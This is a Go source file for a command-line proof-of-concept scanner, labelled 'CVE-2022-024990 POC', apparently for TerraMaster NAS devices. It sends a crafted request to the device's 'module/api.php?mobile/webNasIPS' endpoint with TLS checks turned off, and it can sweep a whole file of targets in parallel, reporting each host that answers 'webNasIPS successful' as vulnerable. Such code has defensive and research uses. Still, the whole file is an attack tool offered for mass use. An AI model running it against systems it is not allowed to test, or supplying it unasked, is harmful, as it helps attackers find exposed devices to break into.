package main

import (
	"bufio"
	"bytes"
	"crypto/tls"
	"fmt"
	"github.com/urfave/cli"
	"net/http"
	"os"
	"strings"
	"time"
)

var (
	tr = &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
	}
	client = &http.Client{Transport: tr, Timeout: 3 * time.Second}
)

func poc(url string) string {
	var ret string
	if invaildUrl(url) {
		testUrl := url
		if strings.HasSuffix(url, "/") {
			testUrl += "module/api.php?mobile/webNasIPS"
		} else {
			testUrl += "/module/api.php?mobile/webNasIPS"
		}
		req, err := http.NewRequest("GET", testUrl, nil)
		req.Header.Set("User-Agent", "TNAS")
		resp, err := client.Do(req)
		ret = url
		if err == nil {
			defer resp.Body.Close()
			buf := new(bytes.Buffer)
			buf.ReadFrom(resp.Body)
			if strings.Contains(buf.String(), "webNasIPS successful") {
				ret = url + "发现漏洞"
			}
		}
	} else {
		ret = url + "地址错误"
	}
	return ret
}

func invaildUrl(url string) bool {
	return true
}

func readFile(path string, chanUrls chan string) {
	file, err := os.Open(path)
	if err != nil {
		fmt.Println("读取文件失败!")
	}
	defer file.Close()
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		line := scanner.Text()
		chanUrls <- line
	}
	close(chanUrls)
}

func main() {
	cli.AppHelpTemplate = `NAME:
	  {{.Name}} - {{.Usage}}
VERSION:
		{{.Version}}
OPTIONS:
		{{range .VisibleFlags}}{{.}}
		{{end}}
	`

	app := cli.NewApp()

	app.Name = "CVE-2022-024990 POC"
	app.Version = "1.0.0 Powered by ... 因为太菜所以没id,淦"
	app.Usage = "莽就完了"
	//app.UsageText = "Windows:CVE-2022-024990.exe -u http://xxx.com\n\tLinux:./CVE-2022-024990 -u http://xxx.com"
	app.Flags = []cli.Flag{

		cli.StringFlag{
			Name:  "url,u",
			Usage: "set a target url",
		},
		cli.StringFlag{
			Name:  "file,f",
			Usage: "set a target file",
		},
		cli.IntFlag{
			Name:  "thread,t",
			Value: 20,
			Usage: "set num of thread",
		},
	}
	app.Action = func(c *cli.Context) {
		url := c.String("url")
		path := c.String("file")
		thread := c.Int("thread")
		//错误参数
		if url != "" && path != "" {
			fmt.Println("这是二选一,你不能全都要^.^")
		}
		//对单个url测试
		if url != "" && path == "" {
			fmt.Println(poc(url))
		}
		//对文件测试
		if url == "" && path != "" {
			sTime := time.Now()
			chanUrls := make(chan string)
			chanExit := make(chan bool, thread)
			chanRet := make(chan string)
			go readFile(path, chanUrls)
			for i := 0; i < thread; i++ {
				go func() {
					for {
						url, ok := <-chanUrls
						if !ok {
							break
						}
						ret := poc(url)
						chanRet <- ret
					}
					chanExit <- true
				}()
			}
			go func() {
				for i := 0; i < thread; i++ {
					<-chanExit
				}
				close(chanRet)
			}()
			for {
				res, ok := <-chanRet
				if !ok {
					break
				}
				fmt.Println(res)
			}
			cost := time.Since(sTime)
			fmt.Printf("本次扫描花费时间%.2f秒", cost.Seconds())
		}
	}
	app.Run(os.Args)
}
